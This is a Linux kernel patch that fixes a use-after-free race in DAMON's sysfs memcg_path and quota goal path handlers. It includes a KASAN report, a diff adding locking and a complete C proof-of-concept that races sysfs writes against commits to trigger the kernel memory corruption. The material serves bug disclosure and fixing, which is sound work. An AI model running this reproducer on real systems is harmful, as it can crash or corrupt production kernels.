[PATCH] mm/damon/sysfs-schemes: fix use-after-free on memcg_path and goal path

Junxi Qian
2026-04-20T08:53:39Z

memcg_path_store() and path_store() free and replace their respective
string pointers without holding damon_sysfs_lock. This creates a race
with the kdamond thread, which reads these pointers in
damon_sysfs_add_scheme_filters() and damos_sysfs_add_quota_score()
via damon_call() during a "commit" operation.

The race window is as follows:
Thread A (commit): holds damon_sysfs_lock, triggers damon_call()
kdamond thread: reads sysfs_filter->memcg_path in
damon_sysfs_memcg_path_to_id()
Thread B (sysfs): calls memcg_path_store() WITHOUT lock,
kfree(filter->memcg_path), replaces pointer

Since Thread B does not hold damon_sysfs_lock, the kdamond thread can
observe a freed pointer, resulting in a use-after-free when
damon_sysfs_memcg_path_eq() dereferences it for string comparison.

KASAN reports the following on v7.0.0-rc5 with CONFIG_KASAN=y:

==================================================================
BUG: KASAN: double-free in memcg_path_store+0x6e/0xc0

Free of addr ffff888100a086c0 by task exp/149

CPU: 1 UID: 0 PID: 149 Comm: exp Not tainted 7.0.0-rc5-gd38efd7c139a #18 PREEMPT(lazy)
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0x55/0x70
print_report+0xcb/0x5d0
kasan_report_invalid_free+0x94/0xc0
check_slab_allocation+0xde/0x110
kfree+0x114/0x3b0
memcg_path_store+0x6e/0xc0
kernfs_fop_write_iter+0x2fc/0x490
vfs_write+0x8e1/0xcc0
ksys_write+0xee/0x1c0
do_syscall_64+0xfc/0x580
entry_SYSCALL_64_after_hwframe+0x77/0x7f
</TASK>

Allocated by task 147 on cpu 0 at 12.364295s:
kasan_save_stack+0x24/0x50
kasan_save_track+0x17/0x60
__kasan_kmalloc+0x7f/0x90
__kmalloc_noprof+0x191/0x490
memcg_path_store+0x32/0xc0
kernfs_fop_write_iter+0x2fc/0x490
vfs_write+0x8e1/0xcc0
ksys_write+0xee/0x1c0

Freed by task 150 on cpu 0 at 13.373810s:
kasan_save_stack+0x24/0x50
kasan_save_track+0x17/0x60
kasan_save_free_info+0x3b/0x60
__kasan_slab_free+0x43/0x70
kfree+0x137/0x3b0
memcg_path_store+0x6e/0xc0
kernfs_fop_write_iter+0x2fc/0x490
vfs_write+0x8e1/0xcc0
ksys_write+0xee/0x1c0

The buggy address belongs to the object at ffff888100a086c0
which belongs to the cache kmalloc-8 of size 8
==================================================================

Fix this by holding damon_sysfs_lock while swapping the path pointer
in both memcg_path_store() and path_store(). The actual kfree() is
moved outside the lock since the old pointer is no longer reachable
once replaced.

Fixes: 490a43d07f16 ("mm/damon/sysfs-schemes: free old damon_sysfs_scheme_filter->memcg_path on write")
Signed-off-by: Junxi Qian <qjx1298677004@gmail.com>
---
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sys/stat.h>

#define DAMON_BASE "/sys/kernel/mm/damon/admin"

static volatile int stop;
static char memcg_path_file[1024], state_file[1024];
static char real_memcg_path[512] = "/";
static int num_extra_cgroups = 200;
static char cgroup_base[256];

static int write_str(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) return -errno;
ssize_t r = write(fd, val, strlen(val));
int e = errno; close(fd);
return r > 0 ? 0 : -e;
}

static int create_extra_cgroups(void) {
struct stat st; char path[512]; int created = 0;
if (stat("/sys/fs/cgroup/cgroup.controllers", &st) == 0)
strncpy(cgroup_base, "/sys/fs/cgroup", sizeof(cgroup_base));
else if (stat("/sys/fs/cgroup/memory", &st) == 0)
strncpy(cgroup_base, "/sys/fs/cgroup/memory", sizeof(cgroup_base));
else return 0;
for (int i = 0; i < num_extra_cgroups; i++) {
snprintf(path, sizeof(path), "%s/damon_poc_%d", cgroup_base, i);
if (mkdir(path, 0755) == 0) created++;
}
if (created > 0)
snprintf(real_memcg_path, sizeof(real_memcg_path),
"%s/damon_poc_0", cgroup_base);
return created;
}

static void cleanup_extra_cgroups(void) {
char path[512];
if (!cgroup_base[0]) return;
for (int i = 0; i < num_extra_cgroups; i++) {
snprintf(path, sizeof(path), "%s/damon_poc_%d", cgroup_base, i);
rmdir(path);
}
}

static void *path_writer(void *arg) {
long tid = (long)arg; int i = 0; char buf[512];
while (!stop) {
switch (i % 4) {
case 0: snprintf(buf,sizeof(buf),"%s",real_memcg_path); break;
case 1: snprintf(buf,sizeof(buf),
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_%d_%ld",i,tid); break;
case 2: snprintf(buf,sizeof(buf),"YYYYYYYYYYYYYY_%d",i); break;
case 3: snprintf(buf,sizeof(buf),"Z_%d",i); break;
}
write_str(memcg_path_file, buf); i++;
}
return NULL;
}

static void *committer(void *arg) {
while (!stop) {
if (write_str(state_file, "commit") == 0) usleep(10);
}
return NULL;
}

static int setup_damon(void) {
char path[1024]; int err;
snprintf(path,sizeof(path),"%s/kdamonds/nr_kdamonds",DAMON_BASE);
write_str(path,"1");
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/nr_contexts",DAMON_BASE);
write_str(path,"1");
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/operations",DAMON_BASE);
if (write_str(path,"paddr")) {
write_str(path,"vaddr");
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/targets/nr_targets",DAMON_BASE);
write_str(path,"1");
char pid[32]; snprintf(pid,sizeof(pid),"%d",getpid());
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/targets/0/pid_target",DAMON_BASE);
write_str(path,pid);
}
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/schemes/nr_schemes",DAMON_BASE);
write_str(path,"1");
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/schemes/0/action",DAMON_BASE);
write_str(path,"stat");
snprintf(state_file,sizeof(state_file),
"%s/kdamonds/0/state",DAMON_BASE);
if ((err = write_str(state_file,"on"))) return err;
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/schemes/0/filters/nr_filters",DAMON_BASE);
write_str(path,"1");
snprintf(path,sizeof(path),
"%s/kdamonds/0/contexts/0/schemes/0/filters/0/type",DAMON_BASE);
write_str(path,"memcg");
snprintf(memcg_path_file,sizeof(memcg_path_file),
"%s/kdamonds/0/contexts/0/schemes/0/filters/0/memcg_path",
DAMON_BASE);
write_str(memcg_path_file, real_memcg_path);
return 0;
}

int main(int argc, char *argv[]) {
int duration = 60, n_writers = 4;
if (argc > 1) duration = atoi(argv[1]);
if (argc > 2) num_extra_cgroups = atoi(argv[2]);
if (getuid()) { fprintf(stderr,"Need root\n"); return 1; }
create_extra_cgroups();
if (setup_damon()) { cleanup_extra_cgroups(); return 1; }
sleep(1);
pthread_t w[8], c;
for (int i = 0; i < n_writers; i++)
pthread_create(&w[i],NULL,path_writer,(void*)(long)i);
pthread_create(&c,NULL,committer,NULL);
sleep(duration);
stop = 1;
for (int i = 0; i < n_writers; i++) pthread_join(w[i],NULL);
pthread_join(c,NULL);
write_str(state_file,"off");
cleanup_extra_cgroups();
printf("Check: dmesg | grep -A20 'BUG: KASAN'\n");
}

---

mm/damon/sysfs-schemes.c | 22 ++++++++++++++++------
1 file changed, 16 insertions(+), 6 deletions(-)

diff --git a/mm/damon/sysfs-schemes.c b/mm/damon/sysfs-schemes.c
index 5186966da..005cfecb1 100644
--- a/mm/damon/sysfs-schemes.c
+++ b/mm/damon/sysfs-schemes.c
@@ -543,15 +543,20 @@ static ssize_t memcg_path_store(struct kobject *kobj,
{
struct damon_sysfs_scheme_filter *filter = container_of(kobj,
struct damon_sysfs_scheme_filter, kobj);
- char *path = kmalloc_array(size_add(count, 1), sizeof(*path),
- GFP_KERNEL);
+ char *path, *old;

+ path = kmalloc_array(size_add(count, 1), sizeof(*path), GFP_KERNEL);
if (!path)
return -ENOMEM;

strscpy(path, buf, count + 1);
- kfree(filter->memcg_path);
+
+ mutex_lock(&damon_sysfs_lock);
+ old = filter->memcg_path;
filter->memcg_path = path;
+ mutex_unlock(&damon_sysfs_lock);
+
+ kfree(old);
return count;
}

@@ -1196,15 +1201,20 @@ static ssize_t path_store(struct kobject *kobj,
{
struct damos_sysfs_quota_goal *goal = container_of(kobj,
struct damos_sysfs_quota_goal, kobj);
- char *path = kmalloc_array(size_add(count, 1), sizeof(*path),
- GFP_KERNEL);
+ char *path, *old;

+ path = kmalloc_array(size_add(count, 1), sizeof(*path), GFP_KERNEL);
if (!path)
return -ENOMEM;

strscpy(path, buf, count + 1);
- kfree(goal->path);
+
+ mutex_lock(&damon_sysfs_lock);
+ old = goal->path;
goal->path = path;
+ mutex_unlock(&damon_sysfs_lock);
+
+ kfree(old);
return count;
}

--
2.34.1